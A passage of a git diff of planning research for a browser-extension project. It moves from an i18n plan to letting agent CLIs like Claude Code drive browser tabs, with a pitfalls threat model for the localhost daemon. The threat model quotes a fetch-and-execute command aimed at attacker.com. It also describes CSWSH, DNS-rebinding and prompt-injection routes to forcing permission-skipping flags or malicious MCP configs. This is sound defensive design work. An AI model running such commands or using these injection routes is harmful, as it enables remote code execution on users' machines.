browser control = worst-case blast radius. Claude Code's own plan mode auto-allows only read-only browser calls and prompts on state changes | Strict defaults: `--allowedTools`/permission-mode allowlist scoped to FSB MCP tools, `--strict-mcp-config`, no filesystem/Bash beyond what delegation needs; escalation prompts surface in the side panel (Happy's remote Allow/Deny proves this works) | +| General remote-access layer (LAN/tunnel/mobile) for delegation | OpenCode-remote ecosystem (Tailscale/ngrok clients) shows real demand | Scope explosion; every remote hop widens the RCE surface FSB just gated to extension-origin + shared secret on localhost:7225 | Stay localhost-only this milestone; FSB's dashboard-remote mode remains the separate, existing remote surface | +| Show dollar costs for subscription-backed runs | "Cost tracker already exists โ€” reuse it" | Fabricated numbers (user pays $0 marginal); Cline deliberately shows $0.00 for Max runs. Misleads users into thinking delegation is expensive | Show tokens/turns/duration + "included in your subscription"; keep `MODEL_PRICING` estimates for telemetry aggregates only, labeled as estimates | +| Force/funnel users to agent providers (degrade BYOK) | "Subscriptions are the future; simplify to one path" | Cursor's BYOK restrictions (agent features require their plan even with your key) generate durable resentment; FSB's INV-03 promises provider parity | Both kinds first-class; recommendation badge only. BYOK autopilot remains the zero-daemon path | +| Auto-switch the selected provider when a "better" agent connects | "Ground truth says Claude Code is here โ€” use it" | Surprise provider swaps mid-workflow break trust and mask cost/behavior changes; no comparable does this | Recommend with a badge + one-tap switch; persist explicit user choice as sticky | -## Feature Dependencies +## UX Convention Notes (per research question) -``` -[Full-page audit: genuine translation vs. i18n-marked] - |--requires--> [Existing v0.9.63 XLIFF pipeline + LocaleService] (already built) - |--requires--> [New: content-level (not structural) verification logic] - -[Confirmed-drift trans-unit resync across 5 locales (5 known, audit may surface more)] - |--requires--> [Full-page audit findings] (audit identifies exact drifted units) - |--enhances--> [New CI drift-detection gate] (resync is the one-time catch-up; gate prevents recurrence) +**Provider picker mixing kinds.** Two proven layouts: same-dropdown-with-morphing-fields (Cline/Roo โ€” lowest friction, fits FSB's existing single panel) and separate-section (Zed External Agents; Xcode accounts vs API providers). Either way: agent entries never show a key field; they show install/auth state instead. "Recommended" defaults exist everywhere but are vendor-motivated (Cline preselects its own gateway; free-tier suggestions for beginners) โ€” an evidence-based badge is FSB's opening. Unavailable states today are weak across the board (Cline documents no missing-CLI error UX; Zed points at raw logs) โ€” treat "installed but unavailable", "not installed", and "daemon offline" as three distinct picker states. -[Stats page full translation] - |--requires--> [Existing DO-NOT-TRANSLATE.md conventions] (brand/code-identifier wrapping rules apply unchanged) - |--requires--> [Decision: fold into main XLIFF pipeline OR complete under existing translations.stats-274.*.json mechanism] - |--gates--> [Removing "src/app/pages/stats/**" from lint:i18n ignore-pattern] (must NOT flip before coverage is verified complete, or CI starts red) +**Streaming-progress conventions.** The converged grammar: narrated step feed + collapsible tool-call cards with status + prominent stop + final result card with usage. Zed adds "follow the agent" (jump to what it touches โ€” FSB's equivalent is the already-visible glow/badge on the live tab) and review-before-apply (not applicable: browser actions aren't diffs, which is exactly why consent must be *pre*-action). Claude Code's stream gives everything needed: `system/init` (session_id, model, tools โ€” render "Claude Code session started"), tool_use blocks (feed rows), `system/api_retry` (transient-state row with typed error categories), `result` (`total_cost_usd`, `num_turns`, duration โ†’ summary card). -[New CI drift-detection gate] - |--requires--> [Full-page audit + confirmed-drift resync landed first] (gate should activate on a clean baseline, not while known drift exists) - |--conflicts-if-built-wrong--> [Anti-feature: "target exists" as the completeness check] (must diff content, not structure) +**Consent for browser control.** Three-layer convention across Claude in Chrome / Atlas / Gemini auto-browse: (1) mode choice (ask-before-acting vs act-with-guardrails), (2) scope disclosure upfront (plan with sites), (3) hard confirmations for sensitive actions + categorical blocks (financial) + pause-for-human at login/CAPTCHA. FSB must add a layer none of them need: consent to *spawn a local process* (first-enable toggle + per-run confirm), because the delegation channel, not the browsing, is the new risk. -[WARNING-02 fix: cookie beats Accept-Language header on repeat visits] - |--requires--> [Existing Express Accept-Language middleware + fsb-locale cookie] (already built, v0.9.63) - |--independent-of--> [Everything else in this list] (isolated priority-ordering fix in showcase/server/, no shared surface with the XLIFF/translation work) +**Session continuity.** Users now expect threadโ†”session mapping (Zed/ACP `session/load`; Codex/Gemini/Claude resume). Stateless replay-per-message (Cline) is acceptable for task-mode MVP but wastes subscription tokens and loses agent-side context (todos, plan state); `--resume` chat-mode is the expected v1.x follow-up. Claude Code resume is cwd-scoped โ€” the daemon must keep a stable working directory per thread. -[Native-speaker QA pass on delta] (differentiator) - |--enhances--> [Confirmed-drift trans-unit resync + stats page translation] - |--NOT required for--> [CI drift gate to function] (gate checks sync, not linguistic quality) +**Detection UX.** Convention is confirm-not-configure: Conductor "confirm your machine already has a Claude Code session"; Vibe Kanban silently reuses `.claude` config; Claude Code's Chrome flow auto-opens a connect tab once on first install, then never again (v2.1.199 behavior). So: "We found Claude Code installed โ€” connect it?" with one action, remembered forever, re-verifiable via doctor. Never nag on every panel open. -[Transcreation review of hero/CTA copy] (differentiator) - |--enhances--> [Native-speaker QA pass] - |--scoped-to--> [~10-20 tagline/CTA strings, not full 420-unit re-review] +## Feature Dependencies -[Per-locale visual regression testing] (differentiator, likely deferred) - |--independent-of--> [Translation-content correctness] (catches layout bugs, not translation bugs -- orthogonal failure mode) +``` +Providers panel rename + kind field (api|agent) + โ””โ”€โ”€requiresโ”€โ”€> existing control panel API Configuration section (control_panel.html:146) + +Recommended-default badge + โ””โ”€โ”€requiresโ”€โ”€> Identity capture trio: + onboarding copy-click persist (extension/ui/onboarding.js handler has client id) + MCP initialize clientInfo capture โ”€โ”€> agent:register payload (empty {} today; additive, INV-01) + disk detection (platforms.ts 21-client registry, daemon-side) + +Side-panel delegation (Claude Code MVP) + โ””โ”€โ”€requiresโ”€โ”€> reverse-request channel over ws://localhost:7225 (extension-origin gating + shared secret) + โ””โ”€โ”€requiresโ”€โ”€> consent tiers (first-enable + per-run) + โ””โ”€โ”€requiresโ”€โ”€> Claude Code adapter (spawn claude -p, stream-json, strict permissions, --strict-mcp-config, fsb agent definition) + โ””โ”€โ”€requiresโ”€โ”€> tab ownership + agent ids + cap 8 (v0.9.60, exists) + โ””โ”€โ”€requiresโ”€โ”€> visual session badges + client allowlist (v0.9.36/v0.9.62, exists) + โ””โ”€โ”€requiresโ”€โ”€> fifth EXECUTION_MODES entry "delegated" (extension/ai/engine-config.js) + +Streaming progress feed + kill switch โ”€โ”€requiresโ”€โ”€> delegation channel +Usage/cost summary card โ”€โ”€requiresโ”€โ”€> stream-json result event; โ”€โ”€enhancesโ”€โ”€> existing MCP request logging + cost tracker +Offline โ†’ doctor handoff โ”€โ”€requiresโ”€โ”€> doctor (exists); โ”€โ”€enhancesโ”€โ”€> delegation (graceful degradation) +Chat-mode (--resume) โ”€โ”€requiresโ”€โ”€> task-mode adapter + per-thread cwd pinning +Multi-agent adapters (OpenCode/Codex/Gemini) โ”€โ”€requiresโ”€โ”€> AgentProviderAdapter contract proven on Claude Code +Cross-surface resume hint โ”€โ”€requiresโ”€โ”€> session_id surfaced from system/init + +Auto-switch on detection โ”€โ”€conflictsโ”€โ”€> sticky explicit provider choice +Subscription-token proxying โ”€โ”€conflictsโ”€โ”€> Anthropic ToS (spawn genuine binary instead) ``` ### Dependency Notes -- **CI drift gate must land AFTER the audit + resync, not before:** Building the gate first against a codebase with known drift (5 confirmed units, pending full audit) means either the gate is broken (passes despite real drift) or CI goes red on day one. Sequence: audit -> resync -> stats-page completion -> flip `lint:i18n` ignore-pattern -> THEN add the drift gate on a clean baseline. -- **Stats page completion gates the ignore-pattern removal, not the reverse:** Flipping `--ignore-pattern "src/app/pages/stats/**"` off before the stats page's translation coverage is actually verified complete will just turn CI red immediately (or, worse, pass falsely if the existing `translations.stats-274.*.json` mechanism isn't wired into whatever `lint:i18n`'s eslint rule actually checks -- this needs explicit verification since the stats page's translation storage format visibly differs from every other page's). -- **WARNING-02 fix is fully independent** of the translation-content work -- it lives entirely in `showcase/server/` Express middleware and touches cookie/header priority ordering, not any XLIFF or Angular i18n surface. Safe to parallelize or sequence in either order relative to the translation-content phases. -- **Differentiators enhance but do not gate the table-stakes deliverables:** none of native-speaker QA, transcreation review, or visual regression testing are prerequisites for the CI drift gate, the resync, or the stats-page completion to be considered "done." They're additive quality investments layered on top, appropriate to schedule as stretch goals within this milestone or explicitly deferred. +- **Delegation requires a live daemon:** the extension has no nativeMessaging permission and cannot wake any process โ€” agent-kind providers are only *runnable* when `fsb-mcp-server serve` (or an open agent session) is up. This makes the offline state a first-class picker/thread state, not an error path. +- **Identity capture is independent of delegation:** the trio (clicks/clientInfo/disk) ships value on its own (control-panel roster, recommended badge) and can land before the spawn channel โ€” a natural phase boundary. +- **Adapter contract before adapter breadth:** Codex/OpenCode/Gemini adapters are cheap only if the Claude Code MVP fixes the contract (detect/build/events/kill/caps) rather than hardcoding Claude shapes. OpenCode will stress it usefully (HTTP server, not spawn). +- **Test-suite tripwires:** extension-side wiring (onboarding persist, providers panel, side-panel feed) trips source-pin tests (token counts/substrings) โ€” run the suite from the first commit. ## MVP Definition -### Launch With (v1.2.0 -- this milestone) - -Minimum to close the reopened gap and prevent recurrence -- everything in Table Stakes above. +### Launch With (v1 โ€” this milestone) -- [ ] Full-page translation audit across all current marketing routes (lattice, phantom-stream, prometheus, home, mobile nav, plus original 6) -- verifies genuine translation, not just `i18n`-attribute presence -- [ ] Resync of the 5 confirmed drifted trans-units across es/de/ja/zh-CN/zh-TW (plus whatever the full-page audit surfaces beyond commit 6d3ad363) -- [ ] Stats page brought to full translation coverage; `--ignore-pattern "src/app/pages/stats/**"` removed from `lint:i18n` -- [ ] WARNING-02 fixed: cookie-set locale preference takes priority over Accept-Language header on the bare-`/` redirect -- [ ] New CI gate: fails build if `messages.xlf` source content changes without corresponding updates to all 5 translated files (content-diff based, not structural-presence based) +- [ ] Providers panel rename + `api`/`agent` kinds; agent kind hides key field, shows install/auth/connection state โ€” the naming and framing everything else hangs on +- [ ] Identity capture trio (copy-click persist, clientInfo capture through `agent:register`, disk detection) + control-panel connected/installed roster โ€” ground truth +- [ ] Recommended-default badge from ground truth (connected > installed > copy-clicked); never auto-switch +- [ ] Claude Code delegation MVP: consent-gated spawn over ws://7225, `claude -p` stream-json, strict permissions + `--strict-mcp-config` + shipped `fsb` agent definition, spawned CLI connects back with its own agent id/tab ownership +- [ ] Live progress feed (init/tool/retry/result events) + kill switch that releases owned tabs +- [ ] Honest offline state โ†’ doctor handoff +- [ ] Usage summary card per delegated run (tokens/turns/duration, "included in your subscription") -### Add After Validation (v1.2.x / near-term follow-up) +### Add After Validation (v1.x) -- [ ] Native-speaker/bilingual-fluent QA pass scoped to the 5 confirmed resynced units + stats page (not a full 420-unit re-review) -- [ ] Transcreation-lens review applied narrowly to hero headlines + primary CTAs (~10-20 strings) across the 6 marketing pages -- [ ] Targeted manual visual spot-check: German (expansion) + zh-CN/zh-TW (CJK wrapping) on the highest-copy-density routes +- [ ] Chat-mode continuity via `--resume` + per-thread cwd pinning โ€” add once task-mode proves the channel; trigger: users sending follow-ups that lose context +- [ ] OpenCode โ†’ Codex โ†’ Gemini adapters behind the proven contract; trigger: adapter contract stable through one release +- [ ] Cross-surface resume hint (`claude --resume `) โ€” trivial once session ids are surfaced +- [ ] Doctor delegation checks (binary found/version/auth/spawn-secret) -### Future Consideration (v1.3+ or only if scale changes) +### Future Consideration (v2+) -- [ ] Full automated per-locale visual regression / screenshot-diffing pipeline -- defer unless route count or release cadence grows substantially -- [ ] Migrating the stats page off its ad hoc `translations.stats-274.*.json` mechanism into the main XLIFF pipeline -- worth doing eventually to eliminate the "two translation systems" risk, but not required to satisfy this milestone's narrower goal -- [ ] Lightweight translation-freshness/"last synced" reporting -- nice visibility layer, not required once the hard CI gate exists -- [ ] Full commercial TMS adoption -- explicitly not warranted at this locale count/content volume; revisit only if both grow an order of magnitude +- [ ] Native-messaging host to wake the daemon โ€” removes the biggest UX cliff but adds an installer + attack surface; explicitly deferred in milestone context +- [ ] ACP-based adapter unification (speak ACP to `claude-code-acp`/Gemini instead of per-CLI formats) โ€” watch ACP adoption; would collapse adapter maintenance +- [ ] Remote delegation surfaces (mobile approvals ร  la Happy) โ€” only after the localhost security posture has soak time ## Feature Prioritization Matrix | Feature | User Value | Implementation Cost | Priority | |---------|------------|---------------------|----------| -| Full-page genuine-translation audit | HIGH | MEDIUM | P1 | -| Confirmed-drift trans-unit resync (5 known + audit findings) | HIGH | MEDIUM | P1 | -| Stats page full translation + ignore-pattern removal | HIGH | LOW-MEDIUM | P1 | -| WARNING-02 cookie-priority fix | MEDIUM-HIGH | LOW-MEDIUM | P1 | -| CI drift-detection gate (content-diff based) | HIGH (prevents recurrence) | MEDIUM | P1 | -| Native-speaker QA pass on delta | MEDIUM | MEDIUM | P2 | -| Transcreation review of hero/CTA copy | MEDIUM | LOW-MEDIUM | P2 | -| Targeted visual spot-check (DE + CJK) | MEDIUM | LOW | P2 | -| Full automated visual regression pipeline | LOW-MEDIUM (at current scale) | HIGH | P3 | -| Stats-page pipeline migration/unification | LOW (cosmetic/architectural) | MEDIUM | P3 | -| Translation-freshness reporting | LOW | LOW-MEDIUM | P3 | -| Commercial TMS adoption | NEGATIVE at this scale | HIGH | Anti-feature (do not build) | +| Providers panel + kinds | HIGH | LOW | P1 | +| Identity capture trio + roster | HIGH | MEDIUM | P1 | +| Recommended badge (ground truth) | MEDIUM | LOW | P1 | +| Claude Code delegation + consent + spawn channel | HIGH | HIGH | P1 | +| Streaming feed + kill switch | HIGH | MEDIUM | P1 | +| Offline โ†’ doctor UX | HIGH | LOW | P1 | +| Usage summary (subscription framing) | MEDIUM | LOW | P1 | +| Chat-mode `--resume` | HIGH | MEDIUM | P2 | +| OpenCode/Codex/Gemini adapters | MEDIUM | HIGH | P2 | +| Cross-surface resume hint | MEDIUM | LOW | P2 | +| Native-messaging wake | HIGH | HIGH | P3 | +| ACP adapter unification | MEDIUM | HIGH | P3 | **Priority key:** -- P1: Must have to close the reopened gap and stop recurrence -- this milestone's actual scope -- P2: Should have if time allows within this milestone; otherwise clean near-term follow-up -- P3: Defer until locale count, route count, or release cadence materially changes - -## Reference-Practice Analysis +- P1: Must have for this milestone's goal (agent CLIs as first-class side-panel providers) +- P2: Should have; natural fast-follow within the milestone arc +- P3: Deferred; revisit after the delegation channel has soak time -Not a competitor-feature comparison in the traditional sense (this is an internal completeness audit, not a new product), but a comparison against documented industry practice for "what good ongoing i18n maintenance looks like" at comparable scale. +## Competitor Feature Analysis -| Practice | Industry Norm (small/mid marketing sites) | FSB's Current State | Gap This Milestone Closes | -|----------|-------------------------------------------|----------------------|----------------------------| -| Detect source-content drift automatically | Widely cited as the #1 differentiator between sites that stay in-sync and sites that silently rot; "quarterly audits" cited as a manual fallback where no automation exists | `verify-locale-sync.mjs` exists but only checks the *locale list*, not trans-unit content | New content-diff CI gate closes this exactly | -| hreflang self-referencing + reciprocal + canonical-matching | Industry-standard checklist item; sources report a high error rate on this exact failure mode across international sites (MEDIUM confidence, single-source stat) | Already implemented and CI-gated (`verify:hreflang`) since v0.9.63 | Audit-only: extend route coverage to pages added since v0.9.63 | -| Explicit-signal locale detection, no IP-geolocation, cookie beats header on repeat visits | Google's own documented guidance; cookie/header priority ordering matches published locale-detection-strategy consensus | Correct architecture (no IP-geo), but priority-ordering bug (WARNING-02) inverts cookie/header precedence | WARNING-02 fix aligns implementation with already-correct architecture | -| Human review layered on machine translation for customer-facing/brand-voice content | Consistently recommended as risk-tiered (not blanket) -- apply to customer-facing/brand content, skip for low-risk internal content | v0.9.63 shipped "AI-filled XLIFF" with no stated native-review layer | Differentiator candidate (P2), scoped to the delta rather than a full re-review | -| Avoid TMS/tooling scope inflation at small locale/content-volume scale | Explicit small-team guidance: use the simplest workflow that doesn't create future problems | Git + XLIFF + CI-gate model already matches this recommendation | None -- confirm by NOT introducing a TMS this milestone | +| Feature | Cline/Roo (Claude Code provider) | Zed (ACP external agents) | Claude in Chrome / Atlas / Gemini auto-browse | Our Approach | +|---------|----------------------------------|---------------------------|-----------------------------------------------|--------------| +| Provider mixing | Agent entry in same dropdown; key field โ†’ CLI path | Separate External Agents section; agent-owned auth | N/A (single first-party agent) | Same-panel with `kind` field; agent kind shows state, not keys | +| Detection | Manual CLI path ("usually `claude`") | Registry install, no disk detection | Extension auto-connect tab on first install | Disk detection via 21-client registry + connected ground truth from the MCP handshake | +| Streaming | Wraps CLI per message; "may not stream token-by-token" | Tool-call cards, follow-agent, stop, review diffs | Narrated work log, step details, stop/take-over | stream-json event feed + existing in-browser glow/badges as "follow the agent" | +| Consent | None specific to spawning | Tool-forwarding permissions; native perms agent-owned | Ask-vs-auto modes, site allowlists, sensitive-action confirms, watch mode | Two new tiers (enable spawn, per-run) on top of FSB's existing browsing consent | +| Sessions | Stateless replay per message | Threads = agent sessions; import/restore | Per-task; no CLI session concept | Task-mode v1 โ†’ `--resume` chat-mode v1.x; threadโ†”session id surfaced | +| Cost | $0.00 for subscription runs | Agent-owned; not surfaced | Subscription-metered invisibly | Tokens/turns/duration + "included in subscription"; dollars only for API kind | ## Sources -- [Google Search Central -- Managing Multi-Regional and Multilingual Sites](https://developers.google.com/search/docs/specialty/international/managing-multi-regional-sites) -- HIGH confidence (primary source, fetched directly; explicit guidance on avoiding auto-redirects, avoiding IP-based content adaptation, canonical + hreflang usage) -- [Weglot -- The Ultimate Guide to Hreflang Tag: Best Practices for SEO](https://www.weglot.com/guides/hreflang-tag) -- MEDIUM confidence (industry practice, not primary Google doc) -- [SimpleLocalize -- Locale detection strategies: URL, Cookie, or Header?](https://simplelocalize.io/blog/posts/locale-detection-strategies/) -- MEDIUM confidence (cross-checked against Google's own guidance, consistent) -- [Smashing Magazine -- Designing A Perfect Language Selector UX](https://www.smashingmagazine.com/2022/05/designing-better-language-selector/) -- MEDIUM confidence -- [Smartling -- Six Ways Transcreation Differs from Translation](https://www.smartling.com/blog/six-ways-transcreation-differs-from-translation) -- MEDIUM confidence -- [Translated -- Transcreation vs. Translation vs. Copywriting](https://translated.com/resources/transcreation-vs-translation-vs-copywriting) -- MEDIUM confidence -- [Better i18n (dev.to) -- i18n Testing: A Practical Guide for QA Engineers](https://dev.to/anton_antonov/i18n-testing-a-practical-guide-for-qa-engineers-f7h) -- MEDIUM confidence -- [i18nagent.ai -- Text Expansion in i18n: Prevent Layout Breakage](https://i18nagent.ai/zh-Hant-TW/guides/text-expansion-testing) -- MEDIUM confidence (German ~30%/Finnish ~40% expansion figures; consistent with multiple other sources) -- [SimpleLocalize -- How to pick a translation workflow for small teams and solo devs](https://simplelocalize.io/blog/posts/translation-workflow-small-teams/) -- MEDIUM confidence (explicit small-team/TMS-scope-inflation guidance) -- [Locize -- Missing Translations in i18next: Fallbacks, Detection & Fixes](https://www.locize.com/blog/missing-translations) -- MEDIUM confidence (build-time vs. runtime detection distinction; cross-checked against Angular's own `i18nMissingTranslation` behavior) -- [Locize -- What is a Translation Management System (TMS)?](https://www.locize.com/blog/tms) -- MEDIUM confidence -- [Cobbai -- Quality at Scale: Best Practices for MT and Human-in-the-Loop Translation Workflows](https://cobbai.com/blog/translation-quality-support) -- MEDIUM confidence (risk-tiering of human review by content class) -- Direct codebase inspection (`showcase/angular/package.json`, `showcase/angular/angular.json`, `showcase/angular/scripts/verify-locale-sync.mjs`, `showcase/angular/src/locale/DO-NOT-TRANSLATE.md`, `showcase/angular/src/app/core/i18n/locale-constants.ts`, `showcase/angular/src/locale/translations.stats-274.*.json`, git log for commit `6d3ad363`) -- HIGH confidence (primary source, ground truth for what's actually built vs. what needs building) +- [Zed external agents docs](https://zed.dev/docs/ai/external-agents) + [GitHub source](https://github.com/zed-industries/zed/blob/main/docs/src/ai/external-agents.md) (fetched 2026-07-10); [Bring Your Own Agent blog](https://zed.dev/blog/bring-your-own-agent-to-zed); [Agent Panel docs](https://zed.dev/docs/ai/agent-panel); [zed#50142 diff-review gap for external agents](https://github.com/zed-industries/zed/issues/50142) +- [Agent Client Protocol โ€” protocol overview](https://agentclientprotocol.com/protocol/overview) (`session/new`, `session/load`, `session/update`, `session/request_permission`, `session/cancel`, `initialize`/`authenticate`) (fetched 2026-07-10) +- [Cline Claude Code provider docs](https://docs.cline.bot/provider-config/claude-code); [Cline blog: Claude Max in Cline ($0.00 display)](https://cline.bot/blog/how-to-use-your-claude-max-subscription-in-cline); [Cline: ChatGPT subscription via Codex OAuth](https://cline.ghost.io/introducing-openai-codex-oauth/); [Roo Code PR #4864](https://github.com/RooCodeInc/Roo-Code/pull/4864) +- [Claude Code headless docs โ€” `-p`, stream-json events, `--resume`, permissions, `--agents`, `total_cost_usd`](https://code.claude.com/docs/en/headless) (fetched 2026-07-10); [Claude Code with Chrome docs โ€” connection, plan-mode read/write split, error table](https://code.claude.com/docs/en/chrome) (fetched 2026-07-10) +- [Claude in Chrome permissions guide](https://support.claude.com/en/articles/12902446-claude-in-chrome-permissions-guide); [Use Claude in Chrome safely](https://support.claude.com/en/articles/12902428-use-claude-in-chrome-safely) +- [OpenAI: Introducing ChatGPT Atlas (2025-10-21)](https://openai.com/index/introducing-chatgpt-atlas/); [Atlas agent help](https://help.openai.com/en/articles/12628199-using-ask-chatgpt-sidebar-and-chatgpt-agent-on-atlas) +- [Google: Gemini 3 auto-browse in Chrome (Dec 2025)](https://blog.google/products-and-platforms/products/chrome/gemini-3-auto-browse/); [9to5Google on agentic security (2025-12-08)](https://9to5google.com/2025/12/08/gemini-chrome-agentic-security/) +- [Apple: Setting up coding intelligence (Xcode 26)](https://developer.apple.com/documentation/xcode/setting-up-coding-intelligence); [9to5Mac (2025-08-28)](https://9to5mac.com/2025/08/28/new-xcode-beta-now-available-with-gpt-5-and-claude-support/) +- [GitHub Agent HQ announcement (2025-10)](https://github.blog/news-insights/company-news/welcome-home-agents/); [Pick your agent: Claude and Codex on Agent HQ](https://github.blog/news-insights/company-news/pick-your-agent-use-claude-and-codex-on-agent-hq/) +- [Conductor docs (bundled CLIs, login detection)](https://docs.conductor.build/); [Happy features (remote permission approvals, streaming)](https://happy.engineering/docs/features/); [Vibe Kanban agent profiles](https://vibekanban.com/docs/configuration-customisation/agent-configurations); [OpenCode server docs](https://opencode.ai/docs/server/); [Smithery CLI](https://smithery.ai/docs/concepts/cli) +- Codex sessions/resume: [developers.openai.com Codex CLI](https://developers.openai.com/codex/cli/features); [codex resume guide](https://inventivehq.com/knowledge-base/openai/how-to-resume-sessions). Gemini sessions: [Gemini CLI session management](https://geminicli.com/docs/cli/session-management/) +- Anthropic subscription-OAuth ban (Jan-Apr 2026): [The Register (2026-02-20)](https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/); [anthropics/claude-code#28091](https://github.com/anthropics/claude-code/issues/28091); [Kersai workaround survey](https://kersai.com/anthropic-killed-third-party-claude-access-heres-every-workaround-that-still-works/). **Note:** wrapping the *genuine* binary is not explicitly blessed in writing โ€” LOW-MEDIUM confidence on formal permission, HIGH confidence on ecosystem practice (Cline/Roo/Zed/Conductor all ship it as of 2026-07) +- Cursor BYOK restrictions (anti-feature evidence): [APIpie fix guide](https://apipie.ai/docs/blog/Cursors-Does-Not-Work-with-Your-Current-Plan-or-API-Key-Fix) --- -*Feature research for: multi-locale marketing/showcase site, ongoing i18n completeness maintenance* -*Researched: 2026-07-07* +*Feature research for: v0.9.91 MCP Clients as Providers (agent CLIs as side-panel providers)* +*Researched: 2026-07-10* diff --git a/.planning/research/PITFALLS.md b/.planning/research/PITFALLS.md index 6e66b9f3a..390e8c245 100644 --- a/.planning/research/PITFALLS.md +++ b/.planning/research/PITFALLS.md @@ -1,206 +1,567 @@ -# Pitfalls Research +# Pitfalls Research โ€” v0.9.91 MCP Clients as Providers -**Domain:** Closing an existing i18n completeness gap on a shipped, multi-locale Angular XLIFF site (reopened debt, not greenfield) -**Researched:** 2026-07-07 -**Confidence:** HIGH (all findings grounded in direct repo inspection: actual diff of commit `6d3ad363`, actual CI workflow, actual eslint config, actual `verify-locale-sync.mjs` / `assemble-xliff-target.mjs` source, actual `angular.json` i18n block, and 11 prior commits showing the historical "safe" version of this pattern) +**Domain:** Localhost daemon spawning agent CLIs on request from a browser (MV3) surface, driving the user's live tabs via FSB's MCP tools +**Researched:** 2026-07-10 +**Confidence:** HIGH (security section verified against 2025-2026 CVEs and vendor advisories; MV3/child_process sections verified against Chrome/Node.js docs; product sections HIGH on Anthropic/OpenAI vendor pages) + +## Executive Framing + +The v0.9.91 delegation channel turns a browser click ("Run this task with Claude Code") into `execve(claude, -p, )` inside a localhost daemon that already speaks MCP to the extension. That composition โ€” **browser-origin request โ†’ localhost daemon โ†’ CLI subprocess with the user's shell privileges โ†’ MCP tools that drive the live browser** โ€” has been an active RCE surface across the entire 2025-2026 wave of agent tooling incidents (MCP Inspector CVE-2025-49596, MCP SDK DNS-rebinding CVE-2025-66414/66416, Claude Code project-files CVE-2025-59536, Gemini CLI CVSS 10 workspace-trust bypass, TrustFall one-keypress RCE across Claude/Cursor/Gemini/Copilot). Every one of these was a "trust boundary was assumed but never enforced" failure. This milestone must ship enforcement in the first phase that opens the spawn channel; every pitfall below has been chosen to prevent one specific incident class that has already happened in the wild. + +--- ## Critical Pitfalls -### Pitfall 1: Treating "247 trans-units changed" as "247 translations need redoing" +### Pitfall 1: Missing Origin / Host validation on the ws://localhost:7225 delegation channel (CSWSH โ†’ spawn RCE) + +**What goes wrong:** +An attacker-controlled webpage the user visits in another tab opens a WebSocket to `ws://localhost:7225`, sends the same "spawn Claude Code with prompt X" reverse-request the extension would send, and the daemon happily spawns `claude -p "curl attacker.com/x | sh"` with the user's shell privileges. This is textbook Cross-Site WebSocket Hijacking (CSWSH). Mailpit, Dozzle (CVE-2026-44985), and Nanobot WhatsApp Bridge all shipped this exact vulnerability in 2025-2026 by accepting all origins. + +**Why it happens:** +Localhost feels safe. WebSocket handshakes are HTTP under the hood but browsers do not enforce CORS on WebSocket upgrades โ€” same-origin policy does not apply. Developers assume `bind: 127.0.0.1` = "only my code can reach it". It is not: any page in any tab, extension, or app on the machine can dial localhost freely. + +**How to avoid:** +1. **Strict `Origin` allowlist on `WebSocket upgrade`.** Reject the handshake if `Origin` header is not `chrome-extension://` or an explicit dashboard origin. The existing `tests/mcp-bridge-topology.test.js` already rejects untrusted browser origins for MCP โ€” extend the same check to the new reverse-request channel. +2. **`Sec-WebSocket-Protocol` or query-string shared secret.** Extension sends a randomly generated per-install token; daemon rejects handshakes without it. Rotate on daemon restart. Do not rely on this alone (see Pitfall 5); pair it with Origin. +3. **`Host` header must equal `127.0.0.1:7225` or `localhost:7225`.** Anything else is DNS rebinding. +4. **Never bind to `0.0.0.0`.** Only `127.0.0.1`. `0.0.0.0` also binds LAN and Docker bridges. + +**Warning signs:** +- Any handler that does not check `req.headers.origin` before `ws.accept()`. +- Any code path that accepts a spawn request from a message received before both Origin and shared-secret checks passed. +- Bridge topology tests that only test extensionโ†’daemon success, never attacker-pageโ†’daemon rejection. + +**Phase to address:** +Phase 60 (the phase that first opens the reverse-request channel). Zero exceptions โ€” this cannot be deferred to a "hardening" phase because the daemon is already RCE-adjacent from the moment `claude -p ` becomes callable from the wire. + +--- + +### Pitfall 2: DNS rebinding against ws://localhost:7225 (RCE via attacker-controlled DNS) + +**What goes wrong:** +Attacker publishes DNS for `evil.com` with TTL 0 pointing first to their server, then to `127.0.0.1`. Victim visits `evil.com`; the browser fetches the malicious JS with `Origin: https://evil.com`. That page opens `WebSocket("ws://evil.com:7225")`. Second DNS lookup returns 127.0.0.1. The browser sends the handshake to the daemon with `Origin: https://evil.com` and `Host: evil.com:7225`. If either check is loose, the daemon spawns a subprocess for the attacker. + +Every major MCP SDK shipped this vulnerability in 2025: **CVE-2025-66414** (TypeScript SDK) and **CVE-2025-66416** (Python SDK) โ€” DNS rebinding protection was disabled by default on localhost. MCP Inspector's **CVE-2025-49596** (CVSS 9.4) was the same class: the browser-facing proxy accepted arbitrary stdio commands with no origin gate, and DNS rebinding turned it into 1-click RCE for anyone visiting a page while running Inspector. + +**Why it happens:** +Developers whitelist "localhost" or "127.0.0.1" on `Host` and think they are done, but they never verify that the browser actually resolved the target as loopback. The attacker's `Host: evil.com` does not fail an equality check against "127.0.0.1" โ€” it just fails a poorly-designed one. + +**How to avoid:** +1. **Reject any `Host` header whose left side is not `127.0.0.1` or `localhost`.** Case-fold and strip port before compare. +2. **Reject any `Origin` not in the extension-ID allowlist** (see Pitfall 1). Origin is the primary defense; Host is defense-in-depth. +3. **Reference the fix ship path:** MCP TypeScript SDK 1.24.0+ and Python SDK 1.23.0+ added `enableDnsRebindingProtection: true` โ€” the fix pattern (Host validation + Origin allowlist) is documented; port it directly. +4. **Test with a rebind fixture.** Add a test that sends a handshake with `Origin: https://evil.com` and `Host: 127.0.0.1:7225` โ€” must reject even though Host is loopback. + +**Warning signs:** +- Any comment saying "we only bind to localhost, so this is safe." +- Missing `enableDnsRebindingProtection`-equivalent in the WS server config. +- Test suite lacks an explicit rebind rejection case. + +**Phase to address:** +Phase 60 (same phase as Pitfall 1 โ€” same code path). Tests must include both Origin-mismatch and Host-mismatch fixtures before merge. + +--- + +### Pitfall 3: Prompt injection into the spawn-with-user-prompt payload โ†’ RCE + +**What goes wrong:** +The side panel receives a task prompt like "Book me a flight to Tokyo". That prompt is passed via the reverse-request channel to the daemon, which invokes `claude -p "" ...`. If the prompt payload can carry a nested MCP `initialize` block, config-file path, or repository trust dialog answer, an attacker who tricks the user into pasting a poisoned prompt (or who owns a page that generates suggested prompts) can: +- Force `--dangerously-skip-permissions` into the flag set (see Pitfall 4). +- Point `--mcp-config` at a malicious config that auto-approves a shell-executing MCP server. +- Embed hidden instructions the CLI treats as guidance the moment it reads a page. + +Real 2025-2026 evidence: **CVE-2025-59536** (Claude Code project files 